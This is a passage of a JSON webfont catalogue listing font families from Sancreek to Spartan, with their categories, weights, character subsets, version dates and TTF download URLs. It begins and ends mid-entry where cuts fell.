"subsets": [ "latin", "latin-ext" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/sancreek/v10/pxiHypAnsdxUm159X7D-XV9NEe-K.ttf" } }, { "kind": "webfonts#webfont", "family": "Sansita", "category": "sans-serif", "variants": [ "regular", "italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "latin", "latin-ext" ], "version": "v4", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/sansita/v4/QldLNTRRphEb_-V7JKWUaXl0wqVv3_g.ttf", "800": "http://fonts.gstatic.com/s/sansita/v4/QldLNTRRphEb_-V7JLmXaXl0wqVv3_g.ttf", "900": "http://fonts.gstatic.com/s/sansita/v4/QldLNTRRphEb_-V7JJ2WaXl0wqVv3_g.ttf", "regular": "http://fonts.gstatic.com/s/sansita/v4/QldONTRRphEb_-V7HBm7TXFf3qw.ttf", "italic": "http://fonts.gstatic.com/s/sansita/v4/QldMNTRRphEb_-V7LBuxSVNazqx2xg.ttf", "700italic": "http://fonts.gstatic.com/s/sansita/v4/QldJNTRRphEb_-V7LBuJ9Xx-xodqz_joDQ.ttf", "800italic": "http://fonts.gstatic.com/s/sansita/v4/QldJNTRRphEb_-V7LBuJ6X9-xodqz_joDQ.ttf", "900italic": "http://fonts.gstatic.com/s/sansita/v4/QldJNTRRphEb_-V7LBuJzX5-xodqz_joDQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Sarabun", "category": "sans-serif", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "800", "800italic" ], "subsets": [ "latin", "latin-ext", "thai", "vietnamese" ], "version": "v7", "lastModified": "2020-03-03", "files": { "100": "http://fonts.gstatic.com/s/sarabun/v7/DtVhJx26TKEr37c9YHZJmnYI5gnOpg.ttf", "200": "http://fonts.gstatic.com/s/sarabun/v7/DtVmJx26TKEr37c9YNpoulwm6gDXvwE.ttf", "300": "http://fonts.gstatic.com/s/sarabun/v7/DtVmJx26TKEr37c9YL5rulwm6gDXvwE.ttf", "500": "http://fonts.gstatic.com/s/sarabun/v7/DtVmJx26TKEr37c9YOZqulwm6gDXvwE.ttf", "600": "http://fonts.gstatic.com/s/sarabun/v7/DtVmJx26TKEr37c9YMptulwm6gDXvwE.ttf", "700": "http://fonts.gstatic.com/s/sarabun/v7/DtVmJx26TKEr37c9YK5sulwm6gDXvwE.ttf", "800": "http://fonts.gstatic.com/s/sarabun/v7/DtVmJx26TKEr37c9YLJvulwm6gDXvwE.ttf", "100italic": "http://fonts.gstatic.com/s/sarabun/v7/DtVnJx26TKEr37c9aBBx_nwMxAzephhN.ttf", "200italic": "http://fonts.gstatic.com/s/sarabun/v7/DtVkJx26TKEr37c9aBBxUl0s7iLSrwFUlw.ttf", "300italic": "http://fonts.gstatic.com/s/sarabun/v7/DtVkJx26TKEr37c9aBBxNl4s7iLSrwFUlw.ttf", "regular": "http://fonts.gstatic.com/s/sarabun/v7/DtVjJx26TKEr37c9WBJDnlQN9gk.ttf", "italic": "http://fonts.gstatic.com/s/sarabun/v7/DtVhJx26TKEr37c9aBBJmnYI5gnOpg.ttf", "500italic": "http://fonts.gstatic.com/s/sarabun/v7/DtVkJx26TKEr37c9aBBxbl8s7iLSrwFUlw.ttf", "600italic": "http://fonts.gstatic.com/s/sarabun/v7/DtVkJx26TKEr37c9aBBxQlgs7iLSrwFUlw.ttf", "700italic": "http://fonts.gstatic.com/s/sarabun/v7/DtVkJx26TKEr37c9aBBxJlks7iLSrwFUlw.ttf", "800italic": "http://fonts.gstatic.com/s/sarabun/v7/DtVkJx26TKEr37c9aBBxOlos7iLSrwFUlw.ttf" } }, { "kind": "webfonts#webfont", "family": "Sarala", "category": "sans-serif", "variants": [ "regular", "700" ], "subsets": [ "devanagari", "latin", "latin-ext" ], "version": "v4", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/sarala/v4/uK_x4riEZv4o1w9ptjI3OtWYVkMpXA.ttf", "regular": "http://fonts.gstatic.com/s/sarala/v4/uK_y4riEZv4o1w9RCh0TMv6EXw.ttf" } }, { "kind": "webfonts#webfont", "family": "Sarina", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/sarina/v8/-F6wfjF3ITQwasLhLkDUriBQxw.ttf" } }, { "kind": "webfonts#webfont", "family": "Sarpanch", "category": "sans-serif", "variants": [ "regular", "500", "600", "700", "800", "900" ], "subsets": [ "devanagari", "latin", "latin-ext" ], "version": "v5", "lastModified": "2019-07-16", "files": { "500": "http://fonts.gstatic.com/s/sarpanch/v5/hES16Xt4NCpRuk6PziV0ba7f1HEuRHkM.ttf", "600": "http://fonts.gstatic.com/s/sarpanch/v5/hES16Xt4NCpRuk6PziVYaq7f1HEuRHkM.ttf", "700": "http://fonts.gstatic.com/s/sarpanch/v5/hES16Xt4NCpRuk6PziU8a67f1HEuRHkM.ttf", "800": "http://fonts.gstatic.com/s/sarpanch/v5/hES16Xt4NCpRuk6PziUgaK7f1HEuRHkM.ttf", "900": "http://fonts.gstatic.com/s/sarpanch/v5/hES16Xt4NCpRuk6PziUEaa7f1HEuRHkM.ttf", "regular": "http://fonts.gstatic.com/s/sarpanch/v5/hESy6Xt4NCpRuk6Pzh2ARIrX_20n.ttf" } }, { "kind": "webfonts#webfont", "family": "Satisfy", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/satisfy/v10/rP2Hp2yn6lkG50LoOZSCHBeHFl0.ttf" } }, { "kind": "webfonts#webfont", "family": "Sawarabi Gothic", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "cyrillic", "japanese", "latin", "latin-ext", "vietnamese" ], "version": "v8", "lastModified": "2019-11-05", "files": { "regular": "http://fonts.gstatic.com/s/sawarabigothic/v8/x3d4ckfVaqqa-BEj-I9mE65u3k3NBSk3E2YljQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Sawarabi Mincho", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "japanese", "latin", "latin-ext" ], "version": "v10", "lastModified": "2019-11-05", "files": { "regular": "http://fonts.gstatic.com/s/sawarabimincho/v10/8QIRdiDaitzr7brc8ahpxt6GcIJTLahP46UDUw.ttf" } }, { "kind": "webfonts#webfont", "family": "Scada", "category": "sans-serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/scada/v8/RLp8K5Pv5qumeVrU6BEgRVfmZOE5.ttf", "regular": "http://fonts.gstatic.com/s/scada/v8/RLpxK5Pv5qumeWJoxzUobkvv.ttf", "italic": "http://fonts.gstatic.com/s/scada/v8/RLp_K5Pv5qumeVJqzTEKa1vvffg.ttf", "700italic": "http://fonts.gstatic.com/s/scada/v8/RLp6K5Pv5qumeVJq9Y0lT1PEYfE5p6g.ttf" } }, { "kind": "webfonts#webfont", "family": "Scheherazade", "category": "serif", "variants": [ "regular", "700" ], "subsets": [ "arabic", "latin" ], "version": "v17", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/scheherazade/v17/YA9Lr0yF4ETZN60keViq1kQYC7yMjt3V_dB0Yw.ttf", "regular": "http://fonts.gstatic.com/s/scheherazade/v17/YA9Ur0yF4ETZN60keViq1kQgt5OohvbJ9A.ttf" } }, { "kind": "webfonts#webfont", "family": "Schoolbell", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/schoolbell/v10/92zQtBZWOrcgoe-fgnJIVxIQ6mRqfiQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Scope One", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v6", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/scopeone/v6/WBLnrEXKYFlGHrOKmGD1W0_MJMGxiQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Seaweed Script", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/seaweedscript/v7/bx6cNx6Tne2pxOATYE8C_Rsoe0WJ-KcGVbLW.ttf" } }, { "kind": "webfonts#webfont", "family": "Secular One", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "hebrew", "latin", "latin-ext" ], "version": "v4", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/secularone/v4/8QINdiTajsj_87rMuMdKypDlMul7LJpK.ttf" } }, { "kind": "webfonts#webfont", "family": "Sedgwick Ave", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v5", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/sedgwickave/v5/uK_04rKEYuguzAcSYRdWTJq8Xmg1Vcf5JA.ttf" } }, { "kind": "webfonts#webfont", "family": "Sedgwick Ave Display", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v5", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/sedgwickavedisplay/v5/xfuu0XPgU3jZPUoUo3ScvmPi-NapQ8OxM2czd-YnOzUD.ttf" } }, { "kind": "webfonts#webfont", "family": "Sen", "category": "sans-serif", "variants": [ "regular", "700", "800" ], "subsets": [ "latin", "latin-ext" ], "version": "v1", "lastModified": "2020-04-21", "files": { "700": "http://fonts.gstatic.com/s/sen/v1/6xKudSxYI9__J9CoKkH1JHUQSQ.ttf", "800": "http://fonts.gstatic.com/s/sen/v1/6xKudSxYI9__O9OoKkH1JHUQSQ.ttf", "regular": "http://fonts.gstatic.com/s/sen/v1/6xKjdSxYI9_Hm_-MImrpLQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Sevillana", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/sevillana/v8/KFOlCnWFscmDt1Bfiy1vAx05IsDqlA.ttf" } }, { "kind": "webfonts#webfont", "family": "Seymour One", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "cyrillic", "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/seymourone/v7/4iCp6Khla9xbjQpoWGGd0myIPYBvgpUI.ttf" } }, { "kind": "webfonts#webfont", "family": "Shadows Into Light", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/shadowsintolight/v9/UqyNK9UOIntux_czAvDQx_ZcHqZXBNQDcsr4xzSMYA.ttf" } }, { "kind": "webfonts#webfont", "family": "Shadows Into Light Two", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/shadowsintolighttwo/v7/4iC86LVlZsRSjQhpWGedwyOoW-0A6_kpsyNmlAvNGLNnIF0.ttf" } }, { "kind": "webfonts#webfont", "family": "Shanti", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/shanti/v11/t5thIREMM4uSDgzgU0ezpKfwzA.ttf" } }, { "kind": "webfonts#webfont", "family": "Share", "category": "display", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "latin", "latin-ext" ], "version": "v10", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/share/v10/i7dJIFliZjKNF63xM56-WkJUQUq7.ttf", "regular": "http://fonts.gstatic.com/s/share/v10/i7dEIFliZjKNF5VNHLq2cV5d.ttf", "italic": "http://fonts.gstatic.com/s/share/v10/i7dKIFliZjKNF6VPFr6UdE5dWFM.ttf", "700italic": "http://fonts.gstatic.com/s/share/v10/i7dPIFliZjKNF6VPLgK7UEZ2RFq7AwU.ttf" } }, { "kind": "webfonts#webfont", "family": "Share Tech", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/sharetech/v9/7cHtv4Uyi5K0OeZ7bohUwHoDmTcibrA.ttf" } }, { "kind": "webfonts#webfont", "family": "Share Tech Mono", "category": "monospace", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/sharetechmono/v9/J7aHnp1uDWRBEqV98dVQztYldFc7pAsEIc3Xew.ttf" } }, { "kind": "webfonts#webfont", "family": "Shojumaru", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/shojumaru/v7/rax_HiWfutkLLnaKCtlMBBJek0vA8A.ttf" } }, { "kind": "webfonts#webfont", "family": "Short Stack", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/shortstack/v9/bMrzmS2X6p0jZC6EcmPFX-SScX8D0nq6.ttf" } }, { "kind": "webfonts#webfont", "family": "Shrikhand", "category": "display", "variants": [ "regular" ], "subsets": [ "gujarati", "latin", "latin-ext" ], "version": "v5", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/shrikhand/v5/a8IbNovtLWfR7T7bMJwbBIiQ0zhMtA.ttf" } }, { "kind": "webfonts#webfont", "family": "Siemreap", "category": "display", "variants": [ "regular" ], "subsets": [ "khmer" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/siemreap/v12/Gg82N5oFbgLvHAfNl2YbnA8DLXpe.ttf" } }, { "kind": "webfonts#webfont", "family": "Sigmar One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/sigmarone/v10/co3DmWZ8kjZuErj9Ta3dk6Pjp3Di8U0.ttf" } }, { "kind": "webfonts#webfont", "family": "Signika", "category": "sans-serif", "variants": [ "300", "regular", "600", "700" ], "subsets": [ "latin", "latin-ext" ], "version": "v10", "lastModified": "2019-07-17", "files": { "300": "http://fonts.gstatic.com/s/signika/v10/vEFU2_JTCgwQ5ejvE_oEI3BDa0AdytM.ttf", "600": "http://fonts.gstatic.com/s/signika/v10/vEFU2_JTCgwQ5ejvE44CI3BDa0AdytM.ttf", "700": "http://fonts.gstatic.com/s/signika/v10/vEFU2_JTCgwQ5ejvE-oDI3BDa0AdytM.ttf", "regular": "http://fonts.gstatic.com/s/signika/v10/vEFR2_JTCgwQ5ejvK1YsB3hod0k.ttf" } }, { "kind": "webfonts#webfont", "family": "Signika Negative", "category": "sans-serif", "variants": [ "300", "regular", "600", "700" ], "subsets": [ "latin", "latin-ext" ], "version": "v10", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/signikanegative/v10/E217_cfngu7HiRpPX3ZpNE4kY5zKal6DipHD6z_iXAs.ttf", "600": "http://fonts.gstatic.com/s/signikanegative/v10/E217_cfngu7HiRpPX3ZpNE4kY5zKaiqFipHD6z_iXAs.ttf", "700": "http://fonts.gstatic.com/s/signikanegative/v10/E217_cfngu7HiRpPX3ZpNE4kY5zKak6EipHD6z_iXAs.ttf", "regular": "http://fonts.gstatic.com/s/signikanegative/v10/E218_cfngu7HiRpPX3ZpNE4kY5zKUvKrrpno9zY.ttf" } }, { "kind": "webfonts#webfont", "family": "Simonetta", "category": "display", "variants": [ "regular", "italic", "900", "900italic" ], "subsets": [ "latin", "latin-ext" ], "version": "v10", "lastModified": "2019-07-26", "files": { "900": "http://fonts.gstatic.com/s/simonetta/v10/x3dnckHVYrCU5BU15c45-N0mtwTpDQIrGg.ttf", "regular": "http://fonts.gstatic.com/s/simonetta/v10/x3dickHVYrCU5BU15c4BfPACvy_1BA.ttf", "italic": "http://fonts.gstatic.com/s/simonetta/v10/x3dkckHVYrCU5BU15c4xfvoGnSrlBBsy.ttf", "900italic": "http://fonts.gstatic.com/s/simonetta/v10/x3d5ckHVYrCU5BU15c4xfsKCsA7tLwc7Gn88.ttf" } }, { "kind": "webfonts#webfont", "family": "Single Day", "category": "display", "variants": [ "regular" ], "subsets": [ "korean" ], "version": "v1", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/singleday/v1/LYjHdGDjlEgoAcF95EI5jVoFUNfeQJU.ttf" } }, { "kind": "webfonts#webfont", "family": "Sintony", "category": "sans-serif", "variants": [ "regular", "700" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/sintony/v7/XoHj2YDqR7-98cVUGYgIn9cDkjLp6C8.ttf", "regular": "http://fonts.gstatic.com/s/sintony/v7/XoHm2YDqR7-98cVUITQnu98ojjs.ttf" } }, { "kind": "webfonts#webfont", "family": "Sirin Stencil", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/sirinstencil/v8/mem4YaWwznmLx-lzGfN7MdRydchGBq6al6o.ttf" } }, { "kind": "webfonts#webfont", "family": "Six Caps", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/sixcaps/v10/6ae_4KGrU7VR7bNmabcS9XXaPCop.ttf" } }, { "kind": "webfonts#webfont", "family": "Skranji", "category": "display", "variants": [ "regular", "700" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/skranji/v7/OZpGg_dtriVFNerMW4eBtlzNwED-b4g.ttf", "regular": "http://fonts.gstatic.com/s/skranji/v7/OZpDg_dtriVFNerMYzuuklTm3Ek.ttf" } }, { "kind": "webfonts#webfont", "family": "Slabo 13px", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/slabo13px/v7/11hEGp_azEvXZUdSBzzRcKer2wkYnvI.ttf" } }, { "kind": "webfonts#webfont", "family": "Slabo 27px", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v6", "lastModified": "2019-07-22", "files": { "regular": "http://fonts.gstatic.com/s/slabo27px/v6/mFT0WbgBwKPR_Z4hGN2qsxgJ1EJ7i90.ttf" } }, { "kind": "webfonts#webfont", "family": "Slackey", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/slackey/v10/N0bV2SdQO-5yM0-dKlRaJdbWgdY.ttf" } }, { "kind": "webfonts#webfont", "family": "Smokum", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/smokum/v10/TK3iWkUbAhopmrdGHjUHte5fKg.ttf" } }, { "kind": "webfonts#webfont", "family": "Smythe", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/smythe/v10/MwQ3bhT01--coT1BOLh_uGInjA.ttf" } }, { "kind": "webfonts#webfont", "family": "Sniglet", "category": "display", "variants": [ "regular", "800" ], "subsets": [ "latin", "latin-ext" ], "version": "v11", "lastModified": "2019-07-16", "files": { "800": "http://fonts.gstatic.com/s/sniglet/v11/cIf4MaFLtkE3UjaJ_ImHRGEsnIJkWL4.ttf", "regular": "http://fonts.gstatic.com/s/sniglet/v11/cIf9MaFLtkE3UjaJxCmrYGkHgIs.ttf" } }, { "kind": "webfonts#webfont", "family": "Snippet", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/snippet/v9/bWt47f7XfQH9Gupu2v_Afcp9QWc.ttf" } }, { "kind": "webfonts#webfont", "family": "Snowburst One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/snowburstone/v7/MQpS-WezKdujBsXY3B7I-UT7eZ-UPyacPbo.ttf" } }, { "kind": "webfonts#webfont", "family": "Sofadi One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/sofadione/v8/JIA2UVBxdnVBuElZaMFGcDOIETkmYDU.ttf" } }, { "kind": "webfonts#webfont", "family": "Sofia", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/sofia/v8/8QIHdirahM3j_vu-sowsrqjk.ttf" } }, { "kind": "webfonts#webfont", "family": "Solway", "category": "serif", "variants": [ "300", "regular", "500", "700", "800" ], "subsets": [ "latin" ], "version": "v2", "lastModified": "2020-03-03", "files": { "300": "http://fonts.gstatic.com/s/solway/v2/AMOTz46Cs2uTAOCuLlgZms0QW3mqyg.ttf", "500": "http://fonts.gstatic.com/s/solway/v2/AMOTz46Cs2uTAOCudlkZms0QW3mqyg.ttf", "700": "http://fonts.gstatic.com/s/solway/v2/AMOTz46Cs2uTAOCuPl8Zms0QW3mqyg.ttf", "800": "http://fonts.gstatic.com/s/solway/v2/AMOTz46Cs2uTAOCuIlwZms0QW3mqyg.ttf", "regular": "http://fonts.gstatic.com/s/solway/v2/AMOQz46Cs2uTAOCWgnA9kuYMUg.ttf" } }, { "kind": "webfonts#webfont", "family": "Song Myung", "category": "serif", "variants": [ "regular" ], "subsets": [ "korean", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/songmyung/v8/1cX2aUDWAJH5-EIC7DIhr1GqhcitzeM.ttf" } }, { "kind": "webfonts#webfont", "family": "Sonsie One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/sonsieone/v8/PbymFmP_EAnPqbKaoc18YVu80lbp8JM.ttf" } }, { "kind": "webfonts#webfont", "family": "Sorts Mill Goudy", "category": "serif", "variants": [ "regular", "italic" ], "subsets": [ "latin", "latin-ext" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/sortsmillgoudy/v9/Qw3GZR9MED_6PSuS_50nEaVrfzgEXH0OjpM75PE.ttf", "italic": "http://fonts.gstatic.com/s/sortsmillgoudy/v9/Qw3AZR9MED_6PSuS_50nEaVrfzgEbH8EirE-9PGLfQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Source Code Pro", "category": "monospace", "variants": [ "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "900", "900italic" ], "subsets": [ "cyrillic", "cyrillic-ext", "greek", "latin", "latin-ext", "vietnamese" ], "version": "v11", "lastModified": "2019-08-22", "files": { "200": "http://fonts.gstatic.com/s/sourcecodepro/v11/HI_XiYsKILxRpg3hIP6sJ7fM7Pqt8srztO0rzmmkDQ.ttf", "300": "http://fonts.gstatic.com/s/sourcecodepro/v11/HI_XiYsKILxRpg3hIP6sJ7fM7PqtlsnztO0rzmmkDQ.ttf", "500": "http://fonts.gstatic.com/s/sourcecodepro/v11/HI_XiYsKILxRpg3hIP6sJ7fM7PqtzsjztO0rzmmkDQ.ttf", "600": "http://fonts.gstatic.com/s/sourcecodepro/v11/HI_XiYsKILxRpg3hIP6sJ7fM7Pqt4s_ztO0rzmmkDQ.ttf", "700": "http://fonts.gstatic.com/s/sourcecodepro/v11/HI_XiYsKILxRpg3hIP6sJ7fM7Pqths7ztO0rzmmkDQ.ttf", "900": "http://fonts.gstatic.com/s/sourcecodepro/v11/HI_XiYsKILxRpg3hIP6sJ7fM7PqtvszztO0rzmmkDQ.ttf", "200italic": "http://fonts.gstatic.com/s/sourcecodepro/v11/HI_ViYsKILxRpg3hIP6sJ7fM7PqlONMbtecv7Gy0DRzS.ttf", "300italic": "http://fonts.gstatic.com/s/sourcecodepro/v11/HI_ViYsKILxRpg3hIP6sJ7fM7PqlONN_tucv7Gy0DRzS.ttf", "regular": "http://fonts.gstatic.com/s/sourcecodepro/v11/HI_SiYsKILxRpg3hIP6sJ7fM7PqVOuHXvMY3xw.ttf", "italic": "http://fonts.gstatic.com/s/sourcecodepro/v11/HI_QiYsKILxRpg3hIP6sJ7fM7PqlOOvTnsMnx3C9.ttf", "500italic": "http://fonts.gstatic.com/s/sourcecodepro/v11/HI_ViYsKILxRpg3hIP6sJ7fM7PqlONMnt-cv7Gy0DRzS.ttf", "600italic": "http://fonts.gstatic.com/s/sourcecodepro/v11/HI_ViYsKILxRpg3hIP6sJ7fM7PqlONMLsOcv7Gy0DRzS.ttf", "700italic": "http://fonts.gstatic.com/s/sourcecodepro/v11/HI_ViYsKILxRpg3hIP6sJ7fM7PqlONNvsecv7Gy0DRzS.ttf", "900italic": "http://fonts.gstatic.com/s/sourcecodepro/v11/HI_ViYsKILxRpg3hIP6sJ7fM7PqlONNXs-cv7Gy0DRzS.ttf" } }, { "kind": "webfonts#webfont", "family": "Source Sans Pro", "category": "sans-serif", "variants": [ "200", "200italic", "300", "300italic", "regular", "italic", "600", "600italic", "700", "700italic", "900", "900italic" ], "subsets": [ "cyrillic", "cyrillic-ext", "greek", "greek-ext", "latin", "latin-ext", "vietnamese" ], "version": "v13", "lastModified": "2019-07-23", "files": { "200": "http://fonts.gstatic.com/s/sourcesanspro/v13/6xKydSBYKcSV-LCoeQqfX1RYOo3i94_AkB1v_8CGxg.ttf", "300": "http://fonts.gstatic.com/s/sourcesanspro/v13/6xKydSBYKcSV-LCoeQqfX1RYOo3ik4zAkB1v_8CGxg.ttf", "600": "http://fonts.gstatic.com/s/sourcesanspro/v13/6xKydSBYKcSV-LCoeQqfX1RYOo3i54rAkB1v_8CGxg.ttf", "700": "http://fonts.gstatic.com/s/sourcesanspro/v13/6xKydSBYKcSV-LCoeQqfX1RYOo3ig4vAkB1v_8CGxg.ttf", "900": "http://fonts.gstatic.com/s/sourcesanspro/v13/6xKydSBYKcSV-LCoeQqfX1RYOo3iu4nAkB1v_8CGxg.ttf", "200italic": "http://fonts.gstatic.com/s/sourcesanspro/v13/6xKwdSBYKcSV-LCoeQqfX1RYOo3qPZYokRdr3cWWxg40.ttf", "300italic": "http://fonts.gstatic.com/s/sourcesanspro/v13/6xKwdSBYKcSV-LCoeQqfX1RYOo3qPZZMkhdr3cWWxg40.ttf", "regular": "http://fonts.gstatic.com/s/sourcesanspro/v13/6xK3dSBYKcSV-LCoeQqfX1RYOo3aP6TkmDZz9g.ttf", "italic": "http://fonts.gstatic.com/s/sourcesanspro/v13/6xK1dSBYKcSV-LCoeQqfX1RYOo3qPa7gujNj9tmf.ttf", "600italic": "http://fonts.gstatic.com/s/sourcesanspro/v13/6xKwdSBYKcSV-LCoeQqfX1RYOo3qPZY4lBdr3cWWxg40.ttf", "700italic": "http://fonts.gstatic.com/s/sourcesanspro/v13/6xKwdSBYKcSV-LCoeQqfX1RYOo3qPZZclRdr3cWWxg40.ttf", "900italic": "http://fonts.gstatic.com/s/sourcesanspro/v13/6xKwdSBYKcSV-LCoeQqfX1RYOo3qPZZklxdr3cWWxg40.ttf" } }, { "kind": "webfonts#webfont", "family": "Source Serif Pro", "category": "serif", "variants": [ "regular", "600", "700" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-17", "files": { "600": "http://fonts.gstatic.com/s/sourceserifpro/v7/neIXzD-0qpwxpaWvjeD0X88SAOeasasahSugxYUvZrI.ttf", "700": "http://fonts.gstatic.com/s/sourceserifpro/v7/neIXzD-0qpwxpaWvjeD0X88SAOeasc8bhSugxYUvZrI.ttf", "regular": "http://fonts.gstatic.com/s/sourceserifpro/v7/neIQzD-0qpwxpaWvjeD0X88SAOeaiXM0oSOL2Yw.ttf" } }, { "kind": "webfonts#webfont", "family": "Space Mono", "category": "monospace", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v5", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/spacemono/v5/i7dMIFZifjKcF5UAWdDRaPpZYFKQHwyVd3U.ttf", "regular": "http://fonts.gstatic.com/s/spacemono/v5/i7dPIFZifjKcF5UAWdDRUEZ2RFq7AwU.ttf", "italic": "http://fonts.gstatic.com/s/spacemono/v5/i7dNIFZifjKcF5UAWdDRYER8QHi-EwWMbg.ttf", "700italic": "http://fonts.gstatic.com/s/spacemono/v5/i7dSIFZifjKcF5UAWdDRYERE_FeaGy6QZ3WfYg.ttf" } }, { "kind": "webfonts#webfont", "family": "Spartan", "category": "sans-serif", "variants": [ "100", "200", "300", "regular", "500", "600", "700", "800", "900" ], "subsets": [ "latin", "latin-ext" ], "version": "v1", "lastModified": "2020-04-21", "files": { "100": 